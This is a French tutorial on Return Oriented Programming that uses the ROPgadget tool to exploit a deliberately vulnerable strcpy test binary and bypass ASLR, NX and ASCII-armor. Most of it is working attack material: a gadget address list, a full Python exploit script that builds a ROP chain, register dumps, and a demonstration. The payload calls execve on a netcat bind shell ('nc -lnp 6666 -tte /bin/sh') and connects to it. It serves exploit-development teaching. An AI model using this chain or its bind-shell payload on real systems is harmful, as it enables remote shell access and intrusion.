Title: [French] How to make backdoor with Return Oriented Programming & ROPgadget tool ?
Language: French
Author: Jonathan Salwan - twitter: @jonathansalwan
Date 2011-04-13
Original version: http://howto.shell-storm.org/files/howto-8.php
I - Introduction
-----------------
Depuis quelques années, l'exploitation des failles applicatives, en particulier des déborde-
ments de tampons, est rendue de plus en plus difficile par les protections mises en place
par les systèmes d'exploitation.
En particulier, il est de plus en plus rare de pouvoir exécuter du code arbitraire sur la
pile. Il existe des techniques permettant de contourner NX mais ces dernières sont inutiles
si les fonctions de la libc sont protegées par l'ASCII-ARMOR.
Cependant, il existe une technique d'attaque qui permet de passer outre toutes ces
protections. Cette technique s'appelle le ROP (Return Oriented Programming).
Ce type d'attaque qui est extrêmement "lourde" à réaliser, consite à enchaîner des suites
d'instructions qu'on nomment "gadget" pour pouvoir modifier l'état des registres et exécuter
un appel système ou l'exécution d'une autre fonction.
Généralement, le ROP est utilisé pour faire appel à execve() mais ici, dans notre cas, nous
allons essayer de constituer un execve de ce type:
#include <stdio.h>
#include <unistd.h>
int main()
{
char *env[1] = {NULL};
char *arguments[7]= { "/usr/bin//nc",
"-lnp",
"6666",
"-tte",
"/bin//sh",
NULL
};
execve("/usr/bin/nc", arguments, env);
}
Tout d'abord, pour pouvoir reproduire l'appel system execve() nous devons connaître sa
convention.
On est sur un système Linux x86 32 bits:
----------------------------------------
jonathan@ArchLinux [/] $ cat /usr/include/asm/unistd_32.h | grep execve
#define __NR_execve 11
jonathan@ArchLinux [/] $
EAX = 11
EBX = "/usr/bin/nc" (char *)
ECX = arguments (char **)
EDX = env (char **)
II - Comment faire pour trouver des gadgets ?
---------------------------------------------
C'est ici que notre tool rentre en jeux. ROPgadget est un tool permettant de trouver des
gadgets potentiellement utilisables pour faire du ROP, vous pouvez aussi rajouter vos
propres gadgets.
ROPgadget est disponible à cette adresse http://www.shell-storm.org/project/ROPgadget/
Prenons comme exemple le fameux binaire que tout le monde utilise pour faire ses tests. Ici,
le binaire sera compilé en static pour pouvoir avoir un grande plage de gadgets.
#include <string.h>
int main(int argc, char **argv)
{
char buff[32];
if (argc >= 2)
strcpy(buff, argv[1]);
return (0);
}
Utilisons maintenant ROPgadget pour connaître les adresses de nos gadgets.
jonathan@ArchLinux [rop] $ ROPgadget -g main
Header informations
============================================================
phoff 0x00000034
shoff 0x0007de7c
phnum 0x00000005 (5)
shnum 0x0000001a (26)
phentsize 0x00000020
shstrndx 0x00000017
entry 0x08048130
LOAD vaddr 0x08048000
LOAD offset 0x00000000
Gadgets informations
============================================================
0x080481c7: pop %ebx | pop %ebp | ret
0x080481c8: pop %ebp | ret
0x08048224: call *%eax
0x0804847e: mov %ebp,%esp | pop %ebp | ret
0x0804868f: int $0x80
0x0804874b: pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08048b43: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08048b43: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08049241: pop %ebx | pop %esi | pop %ebp | ret
0x0804a26b: mov %edi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804b6a5: mov %esi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804c7ab: xor %eax,%eax | pop %ebx | pop %ebp | ret
0x0804d00e: xor %eax,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804dafd: mov %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804f1e9: xor %eax,%eax | pop %ebx | ret
0x0804f70c: inc %eax | pop %edi | ret
0x080505b8: pop %esi | pop %ebx | pop %edx | ret
0x080505e0: pop %edx | pop %ecx | pop %ebx | ret
0x08056e94: xor %eax,%eax | leave | ret
0x08057dc0: mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08057e91: mov %ebx,%eax | pop %ebx | pop %esi | pop %ebp | ret
0x080632a8: mov %ecx,(%ebx) | add $0x8,%esp | pop %ebx | pop %esi | pop %ebp | ret
0x080635d5: mov %ecx,(%edx) | add $0x8,%esp | pop %ebx | pop %ebp | ret
0x080636ef: add %ebx,%eax | pop %ebx | pop %ebp | ret
0x08064c51: xor %eax,%eax | mov %esp, %ebp | pop %ebp | ret
0x08066a1d: mov %ebx,%eax | pop %ebx | pop %ebp | ret
0x08068f82: mov %eax,(%ecx) | pop %ebp | ret
0x08069cda: xor %eax,%eax | pop %edi | ret
0x08069d24: xor %eax,%eax | ret
0x08069fa6: sub %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0806a8e7: mov %eax,%edi | mov %edi, %eax | pop %edi | pop %ebp | ret
0x0806ad27: inc %eax | pop %edi | pop %esi | ret
0x0806adcd: inc %eax | inc %eax | inc %eax | ret
0x0806adce: inc %eax | inc %eax | ret
0x0806adcf: inc %eax | ret
0x0806fd96: mov (%edx),%eax | mov (%esp), %ebx | mov %ebp,%esp | pop %ebp | ret
0x08079531: mov %eax,(%edx) | ret
0x08084c91: sub $0x1,%eax | pop %ebx | pop %esi | pop %ebp | ret
0x080850b8: mov %eax,(%edi) | pop %eax | pop %ebx | pop %esi | pop %edi | ret
0x080850ba: pop %eax | pop %ebx | pop %esi | pop %edi | ret
0x080850c1: mov %ebx,(%edi) | pop %ebx | pop %esi | pop %edi | ret
0x080a71ac: pop %ecx | pop %ebx | leave | ret
Total gadgets: 42/46
jonathan@ArchLinux [rop] $
Comme vous pouvez le remarquer, ces gadgets sont situés dans la section .text d'un binaire
ELF et donc ne sont pas influençables par l'ASLR ni NX.
Nous n'avons, bien sûr, pas besoin de tous ces gadgets, seulement 6 ou 7 nous seront utiles.
Nous aurons besoin de:
- @.data (l'@ de la section .data pour placer des données)
- int $0x80 (pour pouvoir exécuter notre payload)
- mov %eax,(%ecx) | pop %ebp | ret (pour placer eax dans un buffer)
- inc %eax | ret (pour incrémenter eax jusqu'à 11)
- pop %edx | pop %ecx | pop %ebx | ret (pour poper des adresses)
- pop %eax | pop %ebx | pop %esi | pop %edi | ret (ici juste le pop %eax nous sera utile)
- xor %eax,%eax | ret (pour mettre eax à zero)
III - Schéma d'exploitation et fonctionnement du ROP
----------------------------------------------------
Imaginons les gadgets suivants:
- xor %eax,%eax; ret 0x08041111
- inc %eax; ret 0x08042222
- pop %ebx; pop %ecx; ret 0x08043333
Avant le débordement de tampon
l'état de vos registres sont les
suivants: %eax 0xbfffff53
%ebx 0x080482a3
%ecx 0x13
L'objectif est de mettre l'état
des registres suivants: %eax 0x4
%ebx 0x41424344
%ecx 0x44434241
Votre payload est le suivant:
[NOP X size][SEBP][SEIP]
[0x90 xsize][0x41414141][0x08041111][0x08042222][0x08042222]
[0x08042222][0x08042222][0x08043333][0x41424344][0x44434241]
STACK
+---------+
0xbfffe51c: 0x08048d70 0xbfffe530 0xbfffe9a2 0x00000000
0xbfffe52c: 0x00000000 0x63756f74 0x616c2068 0x69767473
+------- Adresse de votre tableau (tab[0])
v
0xbfffe53c: 0x5f746973 0x90909020 0x90909090 0x90909090
0xbfffe54c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe55c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe56c: 0x90909090 0x90909090 0x90909090 0x90909090
+----------+
| .text +
+----------+
+----------------------1--------------->|0x08041111| xor %eax,%eax
| +------------2---------------<|0x08041113| ret
| | |..........|
| | +---------------1--------->|0x08042222| inc %eax
| | | +-----2---------<|0x08042223| ret
| | | | |..........|
Saved ebp ----+ | | | |
v ^ v ^ v
0xbfffe57c: 0x90909090 0x08041111 0x08042222 0x08042222
0xbfffe58c: 0x08042222 0x08042222
+----------+
| .text +
+----------+
+--------------------------------------------1------>|0x08043333|
| +-------------------------------2------<|0x08043333| pop %ebx
| | +------------------3------<|0x08043334| pop %ecx
| | | +------4------<|0x08043335| ret
| P P | |..........|
| O O |
| P P |
| | | |
^ v v v
0xbfffe594: 0x08043333 0x41424344 0x44434241
Tout le schéma ci-dessus est un exemple à titre démonstratif.
Passons à l'exploit pour le binaire "main":
#!/usr/bin/env python2
from struct import pack
EDAX0 = pack("<I", 0x08050a88)
STACK = pack("<I", 0x080c6961) # .data 0x740 0x80c6620
INT80 = pack("<I", 0x0804868f) # int $0x80
MOVISTACK = pack("<I", 0x08068f82) # mov %eax,(%ecx) | pop %ebp | ret
INCEAX = pack("<I", 0x0806adcf) # inc %eax | ret
POPALL = pack("<I", 0x080505e0) # pop %edx | pop %ecx | pop %ebx | ret
POPEAX = pack("<I", 0x080850ba) # pop %eax | pop %ebx | pop %esi | pop %edi | ret
XOREAX = pack("<I", 0x08069d24) # xor %eax,%eax | ret
DUMMY = pack("<I", 0x42424242) # padding
buff = "\x42" * 32
buff += "BBBB"
buff += POPALL # c'est via %ecx qu'on va construire notre stack
buff += DUMMY # padding (pas d'importance)
buff += STACK # ecx contiendra l'@ de notre stack
buff += DUMMY # padding (pas d'importance)
buff += POPEAX # Permet de mettre du contenu dans une adresse
buff += "/usr" # on place "/usr" dans eax
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += MOVISTACK # place "/usr" à l'adresse de notre STACK
buff += DUMMY # padding (pas d'importance)
buff += POPALL
buff += DUMMY # padding (pas d'importance)
buff += pack("<I", 0x080c6961 + 4) # on change notre STACK pour pointer après "/usr"
buff += DUMMY # padding (pas d'importance)
buff += POPEAX # on applique la même chose pour "/bin"
buff += "/bin"
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += MOVISTACK # on place "/bin" après "/usr"
buff += DUMMY # padding (pas d'importance)
buff += POPALL
buff += DUMMY # padding (pas d'importance)
buff += pack("<I", 0x080c6961 + 8) # on change notre STACK pour pointer après "/usr/bin"
buff += DUMMY # padding (pas d'importance)
buff += POPEAX # on applique la même chose pour "//nc"
buff += "//nc"
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += MOVISTACK # on place "//nc" après "/usr/bin"
buff += DUMMY # padding (pas d'importance)
buff += POPALL
buff += DUMMY # padding (pas d'importance)
buff += pack("<I", 0x080c6961 + 13) # on change notre STACK pour pointer après "/usr/bin//nc"+1
# pour laisser un \0 entre les arguments
buff += DUMMY # padding (pas d'importance)
# on repète l'opération pour chaque argument
buff += POPEAX
buff += "-lnp"
buff += DUMMY
buff += DUMMY
buff += DUMMY
buff += MOVISTACK
buff += DUMMY
buff += POPALL
buff += DUMMY
buff += pack("<I", 0x080c6961 + 18)
buff += DUMMY
buff += POPEAX
buff += "6666"
buff += DUMMY
buff += DUMMY
buff += DUMMY
buff += MOVISTACK
buff += DUMMY
buff += POPALL
buff += DUMMY
buff += pack("<I", 0x080c6961 + 23)
buff += DUMMY
buff += POPEAX
buff += "-tte"
buff += DUMMY
buff += DUMMY
buff += DUMMY
buff += MOVISTACK
buff += DUMMY
buff += POPALL
buff += DUMMY
buff += pack("<I", 0x080c6961 + 28)
buff += DUMMY
buff += POPEAX
buff += "/bin"
buff += DUMMY
buff += DUMMY
buff += DUMMY
buff += MOVISTACK
buff += DUMMY
buff += POPALL
buff += DUMMY
buff += pack("<I", 0x080c6961 + 32)
buff += DUMMY
buff += POPEAX
buff += "//sh"
buff += DUMMY
buff += DUMMY
buff += DUMMY
buff += MOVISTACK
buff += DUMMY
#
# Nous avons actuellement notre liste d'élements séparés par des \0
# Maintenant il nous faut construire notre de char **
#
# 0x80c6961 <_IO_wide_data_1+1>: "/usr/bin//nc"
# 0x80c696e <_IO_wide_data_1+14>: "-lnp"
# 0x80c6973 <_IO_wide_data_1+19>: "6666"
# 0x80c6978 <_IO_wide_data_1+24>: "-tte"
# 0x80c697d <_IO_wide_data_1+29>: "/bin//sh"
# 0x80c6986 <_IO_wide_data_1+38>: ""
#
buff += POPALL
buff += DUMMY # padding (pas d'importance)
buff += pack("<I", 0x080c6961 + 60) # l'adresse de notre STACK
buff += DUMMY # padding (pas d'importance)
buff += POPEAX
buff += pack("<I", 0x080c6961) # l'@ de "/usr/bin//nc"
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += MOVISTACK # on place l'@ de "/usr/bin//nc" sur notre STACK
buff += DUMMY # padding (pas d'importance)
buff += POPALL
buff += DUMMY # padding (pas d'importance)
buff += pack("<I", 0x080c6961 + 64) # on décale notre STACK de + 4 pour le pointeur du 2ème argument
buff += DUMMY # padding (pas d'importance)
buff += POPEAX
buff += pack("<I", 0x080c696e) # l'@ de "-lnp"
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += MOVISTACK # on place l'@ de "-lnp" sur notre STACK
buff += DUMMY # padding (pas d'importance)
buff += POPALL
buff += DUMMY # padding (pas d'importance)
buff += pack("<I", 0x080c6961 + 68) # on décale notre STACK de + 4 pour le pointeur du 3ème argument
buff += DUMMY # padding (pas d'importance)
buff += POPEAX
buff += pack("<I", 0x080c6973) # l'@ de "6666"
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += MOVISTACK # on place l'@ de "6666" sur notre STACK
buff += DUMMY # padding (pas d'importance)
buff += POPALL
buff += DUMMY # padding (pas d'importance)
buff += pack("<I", 0x080c6961 + 72) # on décale notre STACK de + 4 pour le pointeur du 4ème argument
buff += DUMMY # padding (pas d'importance)
buff += POPEAX
buff += pack("<I", 0x80c6978) # l'@ de "-tte"
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += MOVISTACK # on place l'@ de "-tte" sur notre STACK
buff += DUMMY # padding (pas d'importance)
buff += POPALL
buff += DUMMY # padding (pas d'importance)
buff += pack("<I", 0x080c6961 + 76) # on décale notre STACK de + 4 pour le pointeur du 5ème argument
buff += DUMMY # padding (pas d'importance)
buff += POPEAX
buff += pack("<I", 0x80c697d) # l'@ de "/bin//sh"
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += MOVISTACK # on place l'@ de "/bin//sh" sur notre STACK
buff += DUMMY # padding (pas d'importance)
#
# Maintenant il nous faut mettre en place eax pour qu'il contienne
# l'adresse du syscall execve
# execve = 0xb
#
buff += XOREAX # on met eax à zero
buff += INCEAX * 11 # on l'incrémente 11 fois pour qu'il puisse avoir la valeur 0xb
buff += POPALL # on fait un dernier pop pour placer les adresses qu'on a construites
buff += pack("<I", 0x080c6961 + 48) # edx char *env
buff += pack("<I", 0x080c6961 + 60) # ecx char **arguments
buff += pack("<I", 0x080c6961) # ebx "/usr/bin//nc"
buff += INT80 # on exécute
print buff
Au moment de notre "int 0x80" notre stack et nos registres sont constitué comme ceci:
EAX: 0000000B EBX: 080C6961 ECX: 080C699D
EDX: 080C6991 ESI: 42424242 EDI: 42424242
EBP: 42424242 ESP: BFFFF82C EIP: 42424242
gdb$ x/6s $ebx
0x80c6961 <_IO_wide_data_1+1>: "/usr/bin//nc"
0x80c696e <_IO_wide_data_1+14>: "-lnp"
0x80c6973 <_IO_wide_data_1+19>: "6666"
0x80c6978 <_IO_wide_data_1+24>: "-tte"
0x80c697d <_IO_wide_data_1+29>: "/bin//sh"
0x80c6986 <_IO_wide_data_1+38>: ""
0x80c699d <_IO_wide_data_1+61>: 0x080c6961
0x80c69a1 <_IO_wide_data_1+65>: 0x080c696e
0x80c69a5 <_IO_wide_data_1+69>: 0x080c6973
0x80c69a9 <_IO_wide_data_1+73>: 0x080c6978
0x80c69ad <_IO_wide_data_1+77>: 0x080c697d
0x80c69b1 <_IO_wide_data_1+81>: 0x00000000
jonathan@ArchLinux [rop] $ ./main $(./exploit.py)
jonathan@ArchLinux [/] $ netcat 127.0.0.1 6666
ls
exploit.py
main
main.c
Et voila, l'exploit bypasse l'ASLR, NX et l'ASCII-ARMOR et attend une connexion.
Le ROP est extrêmement puissant et stable, mais comme vous avez pu le constater,
il est aussi assez lourd à mettre en place.
IV - Références
---------------
[x] - http://www.shell-storm.org
[1] - http://www.shell-storm.org/project/ROPgadget/
[2] - http://www.shell-storm.org/papers/files/725.pdf